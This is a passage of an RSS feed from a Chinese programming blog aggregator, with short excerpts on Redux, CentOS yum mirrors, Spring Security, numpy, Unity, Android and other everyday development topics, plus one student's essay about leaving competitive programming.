      <description>迷茫了，就回来看看！！！ 1.为什么使用Redux？ 2. Redux工作原理 3.什么时候使用Redux 使用场景：&#xA;组件需要根据状态发生显示变化state并不总是以单向的方式线性流动存在组件需要更新全局状态存在组件需要更新另一个组件的状态存在状态以许多不同的方式更新状态树结构复杂某个状态需要在全局使用或共享（例如角色权限等信息） 4.简单理解redux redux各部分负责内容&#xA;Action Creator（具体借书的表达） 想借书的人向图书馆管理员说明要借书的那句话。Store（图书馆管理员） 负责整个图书馆的管理。是Redux的核心Reducers（图书馆管理员的小本本） 管理员需要借助Reducer（图书馆管理员的小本本）来记录。React Component（借书的人 ） 需要借书的人 工作流程&#xA;借书的人（ReactComponent）说了一句话（Action Creator）向图书馆管理员（Store）借一本书，可是图书馆管理员年纪大了啊记不住啊，便掏出了自己的小本本（Reducers）。看了看知道了那本书有没有，在哪，怎么样。这样一来管理员就拿到了这本书，再把这本书交给了借书人。&#xA;翻译过来就是：&#xA;组件想要获取State，&#xA;用ActionCreator创建了一个请求交给Store,Store借助Reducer确认了该State的状态，Reducer返回给Store一个结果，Store再把这个State转给组件。</description>
    </item>
    <item>
      <title>Ubuntu学习 history</title>
      <link>https://bchobby.github.io/posts/67da4c9ce3854415eacc57b54bb8bbd7/</link>
      <pubDate>Fri, 24 Nov 2017 12:09:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67da4c9ce3854415eacc57b54bb8bbd7/</guid>
      <description>history ： 查看执行过的命令。 history # 显示最近1000条历史命令 history 5 # 显示最后5条命令 !number# number为history之后命令前的序号：执行该条命令 !cat # 执行最后一条以cat开头的命令&#xA;本文转自lb沫51CTO博客，原文链接：http://blog.51cto.com/13562606/2058855，如需转载请自行联系原作者</description>
    </item>
    <item>
      <title>解决UnicodeDecodeError: &#39;ascii&#39; codec can&#39;t decode byte 0x8b in position 6: ordinal not in range(128)</title>
      <link>https://bchobby.github.io/posts/2baec39743078e01b27e454b334abd7b/</link>
      <pubDate>Fri, 24 Nov 2017 11:22:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2baec39743078e01b27e454b334abd7b/</guid>
      <description>关于利用pickle.load(）载入文件出现如下错误的解决办法。&#xA;UnicodeDecodeError Traceback (most recent call last) &amp;lt;ipython-input-16-9506c06e646a&amp;gt; in &amp;lt;module&amp;gt;() 1 # Load the raw CIFAR-10 data. 2 cifar10_dir = &#39;cs231n/datasets/cifar-10-batches-py&#39; ----&amp;gt; 3 X_train, y_train, X_test, y_test = load_CIFAR10(cifar10_dir) 4 5 # As a sanity check, we print out the size of the training and test data. D:\python3wp\assignment1\cs231n\data_utils.py in load_CIFAR10(ROOT) 20 for b in range(1,6): 21 f = os.path.join(ROOT, &#39;data_batch_%d&#39; % (b, )) ---&amp;gt; 22 X, Y = load_CIFAR_batch(f) 23 xs.</description>
    </item>
    <item>
      <title>centos5安装yum源</title>
      <link>https://bchobby.github.io/posts/d64a21b809dfbaf1a01c4b8539801636/</link>
      <pubDate>Thu, 23 Nov 2017 22:37:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d64a21b809dfbaf1a01c4b8539801636/</guid>
      <description>1、目前国内网易、阿里源已经不可用了。&#xA;2、&#xA;阿里源：&#xA;wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-5.repo&#xA;网易源：&#xA;wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.163.com/.help/CentOS5-Base-163.repo&#xA;3、可以执行上面命令，下载下来，不过已经无法使用了。&#xA;4、可以把内容修改为国外的源：&#xA;cd /etc/yum.repos.d&#xA;vi CentOS-Base.repo&#xA;替换成下列内容：&#xA;# The mirror system uses the connecting IP address of the client and the # update status of each mirror to pick mirrors that are updated to and # geographically close to the client. You should use this for CentOS updates # unless you are manually picking other mirrors. # # If the mirrorlist= does not work for you, as a fall back you can try the # remarked out baseurl= line instead.</description>
    </item>
    <item>
      <title>3.Spring Boot &#43; Security初步使用(覆盖配置的两种方式 配置类和XML注入以自定义页面为例)</title>
      <link>https://bchobby.github.io/posts/b5059421d30ba4928ad5b08d9c816809/</link>
      <pubDate>Thu, 23 Nov 2017 22:36:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5059421d30ba4928ad5b08d9c816809/</guid>
      <description>1.Spring Security简介 Spring Security 是一个基于 Spring 框架，提供了一套 Web 应用安全性的完整解决方案。一般来说，Web 应用的安全性包括用户认证（Authentication）和用户授权（Authorization）两个部分。用户认证指的是验证某个用户是否为系统中的合法主体，也就是说用户能否访问该系统。用户认证一般要求用户提供用户名和密码。系统通过校验用户名和密码来完成认证过程。用户授权指的是验证某个用户是否有权限执行某个操作。在一个系统中，不同用户所具有的权限是不同的。比如对一个文件来说，有的用户只能进行读取，而有的用户可以进行修改。一般来说，系统会为不同的用户分配不同的角色，而每个角色则对应一系列的权限。&#xA;2.使用Spring Boot 的Security 1.在pom.xml 中添加 &amp;lt;!--添加Spring Security的Spring Boot 默认依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-security&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 2.重启应用 这个时候访问应用你就会发现&#xA;我没有配置用户名密码呀,那么它的用户名和密码是什么呢? 原来这里Spring Boot 又发挥了它的自动配置,他给你设置了默认的用户名和密码,用户名默认是user 密码是在你的启动日志中,你的启动日志里会有下面这个东西,这就是你的密码&#xA;到这里你可能会感觉这么简单, 但是有没有感觉很不爽, 大哥你给的这是什么玩意儿, 界面就一个弹出框难看的一逼也就算了, 用户名密码都不能自己搞, 也太难用了点. 好吧要定义自己的用户名密码,这个时候通过application.properties来配置&#xA;security.user.name=user # 默认用户名 security.user.password=123456 # 默认用户名密码 但是我想要一个炫酷的验证界面怎么办?这个时候就要覆盖Spring Boot的自动配置了&#xA;2.覆盖Spring Boot的security(两种方式) 本次代码依赖于第一章的程序 这次只是做一个登陆的简单案例,具体的会在接下来的讲. 针对自定义有两种方案, 一种是基于Spring Boot的重写覆盖,另一种是通过XML来覆盖配置.&#xA;2.1先看第一种方法 2.1.1首先写一个类来继承WebSecurityConfigurerAdapter package com.hand.security; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Configuration; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; /** * Created by JQY on 2017/11/21.</description>
    </item>
    <item>
      <title>Python  Numpy中reshape函数参数-1的含义</title>
      <link>https://bchobby.github.io/posts/11b1e0c78d7e80c34910b39fc1183256/</link>
      <pubDate>Thu, 23 Nov 2017 21:29:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/11b1e0c78d7e80c34910b39fc1183256/</guid>
      <description>新数组的shape属性应该要与原来数组的一致，即新数组元素数量与原数组元素数量要相等。一个参数为-1时，那么reshape函数会根据另一个参数的维度计算出数组的另外一个shape属性值。&#xA;下面来举几个例子来理解一下：&#xA;&amp;gt;&amp;gt;&amp;gt; z = np.array([[1, 2, 3, 4],[5, 6, 7, 8],[9, 10, 11, 12],[13, 14, 15, 16]]) &amp;gt;&amp;gt;&amp;gt; print(z) [[ 1 2 3 4] [ 5 6 7 8] [ 9 10 11 12] [13 14 15 16]] &amp;gt;&amp;gt;&amp;gt; print(z.shape) (4, 4) &amp;gt;&amp;gt;&amp;gt; print(z.reshape(-1)) [ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16] &amp;gt;&amp;gt;&amp;gt; print(z.reshape(-1,1)) #我们不知道z的shape属性是多少， #但是想让z变成只有一列，行数不知道多少， #通过`z.reshape(-1,1)`，Numpy自动计算出有16行， #新的数组shape属性为(16, 1)，与原来的(4, 4)配套。 [[ 1] [ 2] [ 3] [ 4] [ 5] [ 6] [ 7] [ 8] [ 9] [10] [11] [12] [13] [14] [15] [16]] &amp;gt;&amp;gt;&amp;gt; print(z.</description>
    </item>
    <item>
      <title>matlab中 内部矩阵维度必须一致，矩阵维度必须一致 的意思与区别</title>
      <link>https://bchobby.github.io/posts/f3f5d5e411540460f63a1bb1cb24b5ee/</link>
      <pubDate>Thu, 23 Nov 2017 11:29:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3f5d5e411540460f63a1bb1cb24b5ee/</guid>
      <description>1.错误使用* 内部矩阵维度必须一致 d*v表示矩阵乘法，要求d的列数必须与v的行数一致，也就是说，如果d是m行n列的矩阵，v必须是n行w列的矩阵&#xA;2.错误使用.* 矩阵维度必须一致 d.*v 表示矩阵的点乘运算，也就是d矩阵和v矩阵对应元素直接相乘，所以要求d和v的维度必须一致，即如果d是m行n列的矩阵，v也必须是m行n列的矩阵</description>
    </item>
    <item>
      <title>一  mybatis操作oracle数据库</title>
      <link>https://bchobby.github.io/posts/252d7a7551950fd66f327efa3b2f935c/</link>
      <pubDate>Thu, 23 Nov 2017 10:51:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/252d7a7551950fd66f327efa3b2f935c/</guid>
      <description>引入mybatis jar包： &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.2.8&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 添加orcalejar包 添加mybatis配置文件：该文件名可以自定义（mybatis.xml） &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?&amp;gt; &amp;lt;!DOCTYPE configuration PUBLIC &#34;-//mybatis.org//DTD Config 3.0//EN&#34; &#34;http://mybatis.org/dtd/mybatis-3-config.dtd&#34;&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;!-- 引入properties文件 --&amp;gt; &amp;lt;properties resource=&#34;/cn.et.lesson1/jdbc.properties&#34;&amp;gt;&amp;lt;/properties&amp;gt; &amp;lt;environments default=&#34;development&#34;&amp;gt;&#xA;&amp;lt;environment id=&#34;development&#34;&amp;gt; &amp;lt;!-- 事务管理器 默认使用jdbc事务（自动提交） --&amp;gt; &amp;lt;transactionManager type=&#34;JDBC&#34; /&amp;gt; &amp;lt;dataSource type=&#34;POOLED&#34;&amp;gt; &amp;lt;property name=&#34;driver&#34; value=&#34;${driver}&#34; /&amp;gt; &amp;lt;property name=&#34;url&#34; value=&#34;${url}&#34; /&amp;gt; &amp;lt;property name=&#34;username&#34; value=&#34;${usernamed}&#34; /&amp;gt; &amp;lt;property name=&#34;password&#34; value=&#34;${password}&#34; /&amp;gt; &amp;lt;/dataSource&amp;gt; &amp;lt;/environment&amp;gt;&#xA;&amp;lt;/environments&amp;gt; &amp;lt;mappers&amp;gt; &amp;lt;!-- 接口映射sql：xml--&amp;gt; &amp;lt;mapper resource=&#34;映射文件的全路径：包名/映射文件名.xml&#34; /&amp;gt; &amp;lt;!-- 接口映射sql：注解--&amp;gt; &amp;lt;mapper class=&#34;接口的全路径：包名.类名&#34; /&amp;gt; &amp;lt;/mappers&amp;gt; &amp;lt;/configuration&amp;gt;</description>
    </item>
    <item>
      <title>java中如何去理解 类，对象（实例），方法，类变量，对象（实例）变量的区别与联系</title>
      <link>https://bchobby.github.io/posts/f60e296b9495d0ba3495efa3d9bf7214/</link>
      <pubDate>Wed, 22 Nov 2017 14:19:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f60e296b9495d0ba3495efa3d9bf7214/</guid>
      <description>创建一个类时就创建了一种新的数据类型，使用这种类型来声明该类型的对象。 然而要获得一个类的对象需要两步， 第一， 必须声明该类类型的一个变量，这个变量没有定义一个对象，它只是一个能够引用对象的简单变量。 第二，该声明要创建一个对象的实际物理拷贝，并把对于该对象的引用赋给该变量，通过使用new运算符为对象动态分配内存空间。&#xA;例如：Box mybox=new Box();这样是将两步组合到一起了。 可以将该语句分两步写成下面的形式： Box mybox; //声明mybox，把它作为对于Box类型的对象引用，执行后mybox的值为null，表示没有引用对象 mybox=new Box(); //创建了一个实际的对象，并把它的引用赋给mybox，可以将mybox作为Box的对象来使用。实际上mybox仅仅保存实际的Box对象的内存地址 new运算符 new运算符动态的为一个对象分配地址。格式如下：class-var=new classname(); 其中class-var是所创建类类型的变量 classname是被实例化的类的名字 后面的括号指定了类的构造函数，定义当创建一个类的对象时将发生什么 构造函数是所有类的重要组成部分，大多数类在他们自己的内部显式地定义构造函数。如果一个类没有显式的定义它的构造函数，那么java将自动提供一个默认的构造函数&#xA;类和对象的区别 1、类是对某一类事物的描述，是抽象的； 而对象是一个实实在在的个体，是类的一个实例。比如：“人”是一个类，而“教师”则是“人”的一个实例。比如：“老师”是类。“你的老师”就是对象。 2、对象是函数、变量的集合体； 而类是一组函数和变量的集合体， 即类是一组具有相同属性的对象集合体。 3、类的数据值是共享的，一个实例能访问它所属类的类数据值； 而实例数据属于单个对象，除共享了所在类中的数据外， 不同对象还会有不同的数据值。 4、先有类，才有类的实例——对象。 应用在：当你在创建某个类的实例（对象）之前，这个类必须被定义。 5、实例方法和类方法的区别在于： 实例方法属于单个对象，类方法属于类。 类创建一种新的数据类型，该类型被用来创建对象。也就是，类创建了一个逻辑的框架，该框架定义了它的成员之间的关系。当你声明类的对象时，你正在创造类的实例。因此，类是一个逻辑构造，对象有物理的真实性(也就是对象占用内存空间) 方法、函数、消息、变量、属性之间的关系。 1、方法就是对象的行为，即函数； 2、消息也是调用某个对象的函数，即方法。 3、变量就是对象的状态，即属性。 被继承的类叫超类（superclass ），继承超类的类叫子类（subclass ）。 子类是超类的一个专门用途的版本，它继承了超类定义的所有实例变量和方法，并且为它自己增添了独特的元素。 在继承关系当中，一个子类能够从它的超类当中继承所有的东西，子类能够吸收现有类的数据和方法。 通过继承，子类不仅仅展示了其超类的行为和特征，而且还展示了特定于自身的行为和特征。&#xA;java中类变量、类方法、实例变量、实例方法 在理解类变量、类方法之前先看一段代码：&#xA;class Person { int age ; String name; static int totalFee; public void showName() { System.out.print(this.name); } public static void showTotalFee() { System.</description>
    </item>
    <item>
      <title>python flask 图片在线浏览或者直接下载的解决</title>
      <link>https://bchobby.github.io/posts/b92eb80c9a95e0e2a18171006c1ce7a3/</link>
      <pubDate>Wed, 22 Nov 2017 11:58:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b92eb80c9a95e0e2a18171006c1ce7a3/</guid>
      <description> 目前是把图片存在mongodb数据库，实现一个方法，比如 访问 /get_pic/ID 能实现图片在浏览器打开，添加了一个状态，比如？filename=1.png，实现图片直接下载，&#xA;需要在读取图片函数中，给response 加上headers：&#xA;在 flask 中 response=make_response(f.read())&#xA;需要下载就添加以下headers&#xA;当filename为中文时会报asicc编解码错误，&#xA;此时，import urllib (py3)&#xA;filename=urllib.parse.quote(filename) 用该函数进行编码，&#xA;response.headers[&#39;Content-Type&#39;] = &#39;application/octet-stream&#39; response.headers[&#39;Content-Disposition&#39;] = &#39;attachment;filename=&#34;{0}&#34;&#39;.format(filename) return response 如让浏览器能缓存该图片需要添加以下设置&#xA;response.last_modified = 资源上次修改时间 response.set_etag(etag) response.expires = 过期时间（好像只有这个就可以生效） </description>
    </item>
    <item>
      <title>Spring Boot&#43;thymeleaf 静态资源上下文的问题</title>
      <link>https://bchobby.github.io/posts/bfec386b726a1a699a623a9146e25b00/</link>
      <pubDate>Tue, 21 Nov 2017 19:58:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bfec386b726a1a699a623a9146e25b00/</guid>
      <description>我在使用Spring Boot +thymyleaf过程中修改server.context-path上下文属性后,页面的静态资源需要上下问来定位 那下面的js为例子&#xA;&amp;lt;script type=&#34;application/javascript&#34; src=&#34;scripts/app.js&#34;&amp;gt;&amp;lt;/script&amp;gt; 因为静态资源的访问地址是&#xA;localhost:8080/scripts/app.js 实际地址是&#xA;localhost:8080/${context_path}/scripts/app.js 其中${context_path}是应用上下文, 开始上下文呢默认是 ‘/’ 这个没问题,但是如果修改成 ‘/demo’ 那么这两个路径就对不上了. 解决办法是使用thymyleaf动态生成src的路径即可解决&#xA;&amp;lt;script type=&#34;application/javascript&#34; th:src=&#34;@{{path}/scripts/app.js(path=${contextPath})}&#34;&amp;gt;&amp;lt;/script&amp;gt; 同理 href也可以使用 th:href来解决</description>
    </item>
    <item>
      <title>unity   上传文件和下载资源的get post请求的写法</title>
      <link>https://bchobby.github.io/posts/ec0fd1ceeff640de686ee5b2a62408e8/</link>
      <pubDate>Tue, 21 Nov 2017 19:22:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec0fd1ceeff640de686ee5b2a62408e8/</guid>
      <description> 有问题添加 QQ群 207019099&#xA;get请求&#xA;UnityWebRequest uwr = UnityWebRequest.Get(path); //超时 uwr.timeout = 5; //请求头 uwr.SetRequestHeader(&#34;&#34;, &#34;&#34;); yield return uwr.Send(); if (uwr.isDone &amp;amp;&amp;amp; string.IsNullOrEmpty(uwr.error)){ debug.log(uwr.downloadHandler.text); //下载图片的话 //((DownloadHandlerTexture) wwwtx.downloadHandler).texture } post请求&#xA;//如果有后缀文件的话，加上~跟服务器商量是否做了限制，顺序也要写对，跟服务器商量 WWWForm form = new WWWForm(); form.AddField(&#34;&#34;, &#34;&#34;); form.AddBinaryData(&#34;&#34;, &#34;0.0&#34;, &#34;0.0.jpg&#34;); UnityWebRequest uwr = UnityWebRequest.Post(path, form); uwr.SetRequestHeader(&#34;&#34;, &#34;&#34;); uwr.timeout = TIMEOUT; yield return uwr.Send(); if (uwr.isDone &amp;amp;&amp;amp; string.IsNullOrEmpty(uwr.error)) { print(uwr.downloadHandler.text); } </description>
    </item>
    <item>
      <title>unity 给大家分享一个可以直接将unity中的物体导出成fbx存在项目中的方法（实测pc可用，移动端不可以~~~其他待测~~）</title>
      <link>https://bchobby.github.io/posts/2001955d316fb0c665b334ffb716dd6d/</link>
      <pubDate>Tue, 21 Nov 2017 19:00:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2001955d316fb0c665b334ffb716dd6d/</guid>
      <description>如题，会给大家分享一个超实用的动态库，是关于将unity中的对象转换为fbx存储下来的方法，这个方法我试过N次，Pc端可以，移动端不可以用，想用的同学我下一篇会给大家写另外的方法~~~&#xA;好了 话不多说了就，我给大家讲解一下这个插件的使用方法：&#xA;首先要先将对象成组的形势调用函数：&#xA;GameObject[] meshObjs = new GameObject[1]; meshObjs[0] = meshObject; //用到动态库WRP_FBXExporter FBXExporter.ExportFBX(&#34;&#34;, fbxname, meshObjs, true); path是地址，传空的话，会放在项目的根目录，对应的如果写一个streanassets 就会放在我们熟悉的Streamassets文件目录下&#xA;fbxname 就是你讲要输出的fbx的名字。&#xA;meshobjs 就是上面定义的物体对象，也就是你要传输导出的fbx对应的物体&#xA;最后一个参数我也不太清楚~~~&#xA;下面我给大家吧插件的地址贴出来~~~&#xA;这个是在5.0+使用的，推荐使用这个。&#xA;链接：http://pan.baidu.com/s/1i4HSEMx 密码：4xtn&#xA;下面这个是通过网友“361”修改后的可以在5.0以下的版本使用的（361在4.7版本使用的），我没有测试过。有朋友测试有问题可以在下方留言。&#xA;链接：https://pan.baidu.com/s/1lX7iJc9s0xq4sfnQOBkUPg 密码：9grh&#xA;有任何问题可以添加 QQ群 207019099&#xA;没有代码基础的同学先看一下unity的一些教程哈~ 我这边也有自己的工作，不可能实时的为大家提供帮助的~&#xA;鉴于有不少同学对于程序搞不明白，发了个工程，将需要导出的物体挂载运行即可导出模型，工程如下：&#xA;链接：https://pan.baidu.com/s/1ay4NQvuWC01BONfKePZM0A 密码：1yf5</description>
    </item>
    <item>
      <title>scala Array与ArrayBuffer学习记录</title>
      <link>https://bchobby.github.io/posts/9dd7e060f1f24e5d5fbd6c7517cce82a/</link>
      <pubDate>Mon, 20 Nov 2017 18:17:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9dd7e060f1f24e5d5fbd6c7517cce82a/</guid>
      <description>// // // 定长数组 / //1)Array 是定长的数组 定义直接初始话，可以不用指定类型 var data=Array[String](&#34;zs&#34;,&#34;ls&#34;); //var data=Array(1,2) for(i &amp;lt;- data) println(i) //数组通过(length-1) 进行访问以及修改 data(0)=&#34;we&#34; data(1)=&#34;good&#34; for(i &amp;lt;- data) println(i) //如果越界访问报错 data(2)=&#34;ls&#34; println(data(2)) //============================== //2)Array 定长数据，不进行初始话，只指定数组长度，需要指定类型，否则会默认Nothing，会根据指定类型进行初始话 var data =new Array[Int](10); //3) new Array[Int](n) 通过new实例话的参数表示数组长度 Array[Int](n....) 表示内容 变长数组ArrayBuffer / //1)需要导入import scala.collection.mutable.ArrayBuffer var data=ArrayBuffer(&#34;zs&#34;,&#34;ls&#34;) for(i &amp;lt;- data) println(i) //访问方式不可以通过(length-1)的形式 //2) 实例话建议使用有初始话的方式进行实例话 或者通过new的方式,传参与不传参没有多大用 //3 += 尾巴添加一个或多个元素() data+=&#34;we&#34; data+=(&#34;good&#34;,&#34;learn&#34;) //4 ++=向数组中添加内容 可以任何集合 data++=Array(&#34;one&#34;,&#34;two&#34;) data++=List(&#34;3&#34;,&#34;4&#34;) //5 删除末尾n个元素 data.trimEnd(2) //6在指定位置添加元素[index的下标从0,到现有的长度] 也可以同时添加多个元素 data.</description>
    </item>
    <item>
      <title>Android7.0相机兼容处理方法</title>
      <link>https://bchobby.github.io/posts/91175f1d36a33381f76106d831615e45/</link>
      <pubDate>Mon, 20 Nov 2017 14:55:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91175f1d36a33381f76106d831615e45/</guid>
      <description>由于之前没有用过7.0的系统，所有一直不知道居然还有这么一个兼容问题，我这里用的是严苛模式处理兼容，一下是处理代码：&#xA;if (Build.VERSION.SDK_INT &amp;gt;= Build.VERSION_CODES.N) { StrictMode.VmPolicy.Builder builder = new StrictMode.VmPolicy.Builder(); StrictMode.setVmPolicy(builder.build()); builder.detectFileUriExposure(); } 将上面的代码放在Application里面的onCreate里面执行就可以了，由于是严苛模式，怕有其他的问题影响低版本的，所以就只处理7.0以上的版本就好了</description>
    </item>
    <item>
      <title>怎样获取form-data方式POST的数据</title>
      <link>https://bchobby.github.io/posts/c22dc0ee8318578eff752effc6cfc338/</link>
      <pubDate>Sat, 18 Nov 2017 16:31:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c22dc0ee8318578eff752effc6cfc338/</guid>
      <description>转自：http://ju.outofmemory.cn/entry/201812&#xA;用x-www-form-urlencoded方式提交表单就可以正常绑定数据，但是用form-data方式提交就绑定不了：&#xA;@Controller @RequestMapping(&#34;/tag&#34;) public class TagController { @Autowired private NanTianMenFacade nanTianMenFacade; @RequestMapping(value = &#34;/uploadTags&#34;) @ResponseBody public TagUploadResult uploadTags(TagParams params) { String tagIds = params.getTagIds(); String uuid = params.getUuid(); TagUploadResult result = null; try { result = nanTianMenFacade.uploadTags(tagIds, uuid); } catch (Exception e) { result = new TagUploadResult(); result.setS(0); } return result; } } 对于我来说，一直都是用x-www-form-urlencoded提交表单数据，除非是要上传文件，才会使用form-data方式。也一直以为Spring对不同的提交方式应该是透明的。不过确实用form-data提交普通表单，确实是拿不到提交的数据。DEBUG发现， request.getParameterMap() 返回的就是空的！&#xA;然后发现 org.apache.commons.io.IOUtils.toString(request.getInputStream()); 其实是有返回提交的数据的：&#xA;------WebKitFormBoundaryd7FGw9vQyyFIAYd7 Content-Disposition: form-data; name=&#34;uuid&#34; 56 ------WebKitFormBoundaryd7FGw9vQyyFIAYd7 Content-Disposition: form-data; name=&#34;tagIds&#34; ------WebKitFormBoundaryd7FGw9vQyyFIAYd7 Content-Disposition: form-data; name=&#34;</description>
    </item>
    <item>
      <title>flask建站实践笔记001-基本结构</title>
      <link>https://bchobby.github.io/posts/438780dff66384f2e278f00673e15ff3/</link>
      <pubDate>Fri, 17 Nov 2017 22:38:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/438780dff66384f2e278f00673e15ff3/</guid>
      <description>内容，视频和代码在我的个人博客中，链接如下： flask建站实践笔记001-基本结构</description>
    </item>
    <item>
      <title>C&#43;&#43; 获取当前进程运行目录（visual studio 调试状态下）</title>
      <link>https://bchobby.github.io/posts/a4400345166bfa97dfec88b8bb38b1ef/</link>
      <pubDate>Fri, 17 Nov 2017 17:25:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4400345166bfa97dfec88b8bb38b1ef/</guid>
      <description>非调试状态下有几个API可供使用: (windows.h) 1.GetModuleFileName 2.GetCurrentDirectory&#xA;(direct.h) 3._getcwd&#xA;这里简要说一下区别，GetModuleFileName是获取绝对路径，GetCurrentDirectory和_getcwd是获取当前进程的当前目录，比较坑爹的是，这个不是“当前进程”的目录，而是启动当前进程的进程的目录，譬如说用vs调试的时候，是由vs启动的进程，所以获取到的目录其实不是Debug目录，而是VS的目录。</description>
    </item>
    <item>
      <title>【Vue】5.vue mock数据（模拟后台）</title>
      <link>https://bchobby.github.io/posts/8ce2c9a26c3bc879c9433bf66f689909/</link>
      <pubDate>Fri, 17 Nov 2017 17:02:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ce2c9a26c3bc879c9433bf66f689909/</guid>
      <description>vue实现ajax获取后台数据是通过vue-resource，首先通过npm安装vue-resource&#xA;npm install vue-resource --save安装完成以后，把vue-resource引入到main.js文件中 src/main.js&#xA;// The Vue build version to load with the `import` command // (runtime-only or standalone) has been set in webpack.base.conf with an alias. import Vue from &#39;vue&#39; import App from &#39;./App&#39; import router from &#39;./router&#39; import VueResource from &#39;vue-resource&#39; import Layout from &#39;./components/layout&#39; Vue.use(VueResource); /* eslint-disable no-new */ new Vue({ el: &#39;#app&#39;, router, template: &#39;&amp;lt;Layout/&amp;gt;&#39;, components: { Layout } })把vue-resource引入项目以后，就可以在任何组件里面直接用了 &amp;lt;template&amp;gt; &amp;lt;div class=&#34;index-wrap&#34;&amp;gt; &amp;lt;div class=&#34;</description>
    </item>
    <item>
      <title>再见OI，NOIP2017退役</title>
      <link>https://bchobby.github.io/posts/746e0935ece4537dd19b14a6578364f9/</link>
      <pubDate>Wed, 15 Nov 2017 17:33:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/746e0935ece4537dd19b14a6578364f9/</guid>
      <description>再见OI 最后一次在学校电脑上插上自己的键盘……&#xA;已经通过学军的山寨数据得到自己的大概成绩，我退役是板上钉钉的了。整体来说考得很差，day1考挂了后day2就全部求稳了，最后分数也就一般般。 没有意外模拟题写挂了，这可能是我最大的心结。简单的模拟，就因为两个细节而爆炸。千算万算也没有想到弄死自己的竟然是模拟。 想到自己学习的算法在同伴中也算数一数二的，不免有些唏嘘与遗憾。是什么导致了我的失败？不够努力还是不够专心？ 不存在了，根据rp守恒原理，可能我平时花在其他上的rp太多了。&#xA;day1t1的数论？我打表找规律了。呵呵……我问了一个数竞的，他没做出来。&#xA;t2的模拟就不说了，枉我平时那么在意时间复杂度，居然死在模拟上，排名表上，我上下的人没有一个在这道题目上失分。。。我也真是够了。&#xA;t3弃弃弃，模拟写完心态炸。图上DP静不下心来写了。&#xA;Day1 结束 整个人就废掉了，老爸一个劲地在旁边劝，说，考差了就算了，大不了去学文化课。&#xA;day2t1是并查集做的，不出意外，并查集不会背叛我，也不枉我花掉几个小时去证明只有路径压缩的并查集的复杂度带 log .&#xA;第二题的状压DP我对不起你了，为了求稳，我选择了暴力。&#xA;最后一题平衡树可以得很多分，但是想了想，即使我得到了那么几十分，也逆转不了我退役的事实了。就让我最擅长的平衡树给我的信竞生涯埋下最后的曲调吧。&#xA;Day2 结束 知道wys与Doggu考得很好，知道自己没有机会走下去了。 吃完散伙火锅，就各奔学校了。&#xA;NOIP退役3天后 文化课补成死狗，意外感觉自己人生也就那样了。不好不坏。 竞赛与高考对我来说都一样了。&#xA;只不过那场梦我一定会记得！！ 我存在过，一个偏科的OIer！一个热爱平衡树的OIer!一个学习了许多树上黑科技的OIer！一个成功但是输给自己的OIer！一个平凡的OIer……&#xA;一切都结束了，结束在2017.11.15.17:11，CDQZ科技三楼，我梦想开始的地方。&#xA;善恶终有报，天道好轮回。不信抬头看，苍天绕过谁？&#xA;P.S. 想起来我居然是第一届7GOJ的维护人员？还给BZOJ出过题……NOIP退役……&#xA;得知成绩 哈哈（无力的微笑），数据水涨了40，仍然逃不了退役（因为都很高啊~），蒟蒻努力后成为了失败的蒟蒻。 省一到手，退役大吉！ （这几天立志成才，感觉高考对我更加友善啊）。&#xA;预祝CDQZ在NOI的路上取得好成绩，本蒟蒻不能再陪着你们了。</description>
    </item>
    <item>
      <title>如何让excel单元格同时显示日期和时间</title>
      <link>https://bchobby.github.io/posts/bcf03a52b9c4667d663e2d0a181db357/</link>
      <pubDate>Tue, 14 Nov 2017 19:51:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bcf03a52b9c4667d663e2d0a181db357/</guid>
      <description>如何让excel单元格同时显示日期和时间 20&#xA;conang0112 | 浏览 9707 次 问题未开放回答 |举报&#xA;2015-07-23 最佳答案&#xA;1、打开excel，单元格右键--&amp;gt;设置单元格格式--&amp;gt;自定义--&amp;gt;yyyy/m/d/aaa。&#xA;2、确认后显示。&#xA;3、自定义选择yyyy-mm-dd，即为同时显示日期和时间。&#xA;本回答由电脑网络分类达人 李孝忠推荐&#xA;本文转自9pc9com博客，原文链接： http://blog.51cto.com/215363/2059282 如需转载请自行联系原作者</description>
    </item>
    <item>
      <title>bad ELF interpreter: No such file or directory</title>
      <link>https://bchobby.github.io/posts/86a3437a50da5c2ca74378a815641bf7/</link>
      <pubDate>Mon, 13 Nov 2017 15:00:36 +0800</pubDate>
